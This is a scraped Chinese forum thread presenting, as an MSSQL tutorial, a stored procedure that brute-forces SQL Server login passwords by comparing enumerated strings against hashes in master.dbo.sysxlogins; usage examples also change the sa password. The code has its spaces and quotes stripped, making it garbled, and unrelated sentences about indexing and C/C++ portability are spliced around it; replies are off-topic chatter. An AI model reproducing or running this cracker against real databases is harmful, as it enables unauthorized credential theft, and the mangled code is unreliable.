仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 929|回复: 7
打印 上一主题 下一主题

[学习教程] MSSQL教程之公布一个SQL暗码破解的存储历程

[复制链接]
若天明 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:24:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
如果某个数据列里包含许多重复的值,就算为它建立了索引也不会有很好的效果。比如说,如果某个数据列里包含的净是些诸如“0/1”或“Y/N”等值,就没有必要为它创建一个索引。存储历程|破解ifexists(select*fromdbo.sysobjectswhereid=object_id(N[dbo].[p_GetPassword])andOBJECTPROPERTY(id,NIsProcedure)=1)
dropprocedure[dbo].[p_GetPassword]
GO/*--穷举法破解SQLServer用户暗码
能够破解中文,特别字符,字符+跟随空格的暗码
为了便利显现特别字符的暗码,在显现了局中,显现了构成暗码的ASCII
实际上能够破解恣意位数的暗码
前提是你的电脑设置充足,工夫充足
--邹建2004.08(援用请保存此信息)--*/
/*--挪用示例
--测试特别字符
declare@pwdsysname
set@pwd=char(0)+a
execsp_passwordnull,@pwd,sa
execp_GetPassword
--测试带空格的暗码
execsp_passwordnull,a,sa
execp_GetPassword
--测试中文
execsp_passwordnull,我,sa
execp_GetPassword
--扫除暗码
execsp_passwordnull,null,sa
--*/
createprocp_GetPassword
@usernamesysname=null,--用户名,假如不指定,则列出一切用户
@pwdlenint=3--暗码破解的位数,默许只破解3位及以下的暗码
as
--天生要破解的暗码的用户表
selectname,password
,type=casewhenxstatus&2048=2048then1else0end
,jm=casewhenpasswordisnullordatalength(password)<46
then1else0end
,pwdstr=casewhendatalength(password)<46
thencast(passwordassysname)
elsecast(assysname)end
,pwd=cast(asvarchar(8000))
into#pwd
frommaster.dbo.sysxloginsa
wheresrvidisnull
andname=isnull(@username,name)
--天生一时表
selecttop255id=identity(int,0,1)into#tfromsysobjectsa,sysobjectsb
altertable#taddconstraintPK_#tprimarykey(id)
--清算不必要的字符
ifnotexists(select1from#pwdwheretype=1)
deletefrom#twhereidbetween65and90oridbetween129and254
--暗码破解处置
declare@lint
declare@s1varchar(8000),@s2varchar(8000),@s3varchar(8000),@s4varchar(8000)
--破解1位暗码
select@l=0
,@s1=id=a.id
,@s2=#ta
,@s3=char(b.id)
,@s4=cast(b.idasvarchar)
exec(
updatepwdsetjm=1,pwdstr=+@s3+
,pwd=+@s4+
from#pwdpwd,#tb
wherepwd.jm=0
andpwdcompare(+@s3+,pwd.password,pwd.type)=1
)
--破解凌驾2位的暗码
whileexists(select1from#pwdwherejm=0and@l<@pwdlen-1)
begin
select@l=@l+1
,@s1=@s1+,id+cast(@lasvarchar)
+=+char(@l/26+97)+char(@l%26+97)+.id
,@s2=@s2+,#t+char(@l/26+97)+char(@l%26+97)
,@s3=@s3++char(b.id+cast(@lasvarchar)+)
,@s4=@s4++,+cast(b.id+cast(@lasvarchar)+asvarchar)
exec(
select+@s1+into#ttfrom+@s2+
updatepwdsetjm=1,pwdstr=+@s3+
,pwd=+@s4+
from#pwdpwd,#ttb
wherepwd.jm=0
andpwdcompare(+@s3+,pwd.password,pwd.type)=1
)
end
--显现破解的暗码
select用户名=name,暗码=pwdstr,暗码ASCII=pwd
from#pwd
go

使用C和C++编写,并使用了多种编译器进行测试,保证源代码的可移植性
金色的骷髅 该用户已被删除
沙发
发表于 2015-1-19 10:41:59 | 只看该作者
原来公司用过MYSQL自己也只是建个表写个SQL
若相依 该用户已被删除
板凳
发表于 2015-1-28 05:58:12 | 只看该作者
发几份SQL课件,以飨阅者
海妖 该用户已被删除
地板
发表于 2015-2-5 16:55:28 | 只看该作者
不好!如果出了错;不好调试;不好处理!其实web开发将代码分为3层:web层;业务逻辑层和数据访问层;一般对数据库的操作都在数据访问层来做;这样便于调试和维护!而且将来如果是换了数据库的话;你只需要改数据层的代码;其他层的基本可以不变!要是你在jsp中直接调用sql数据库;那么如果换了数据库呢?岂不都要改?如果报了异常呢?怎么做异常处理?
冷月葬花魂 该用户已被删除
5#
发表于 2015-2-13 00:58:09 | 只看该作者
比如日志传送、比如集群。。。
小魔女 该用户已被删除
6#
发表于 2015-3-11 10:53:41 | 只看该作者
我是新手,正在学习数据库和操作系统,深感理论的泛广,唯有一步一步来,但是又感觉时间不够,收集了很多资料却总是没能认真的看完,希望有一个讨论板块,大家共同解决,共同分享,共同努力
精灵巫婆 该用户已被删除
7#
发表于 2015-3-18 07:24:31 | 只看该作者
我个人认为就是孜孜不懈的学习
兰色精灵 该用户已被删除
8#
发表于 2015-3-25 14:05:02 | 只看该作者
这就引发了对varchar和char效率讨论的老问题。到底如何分配varchar的数据,是否会出现大规模的碎片?
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-5 23:26

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表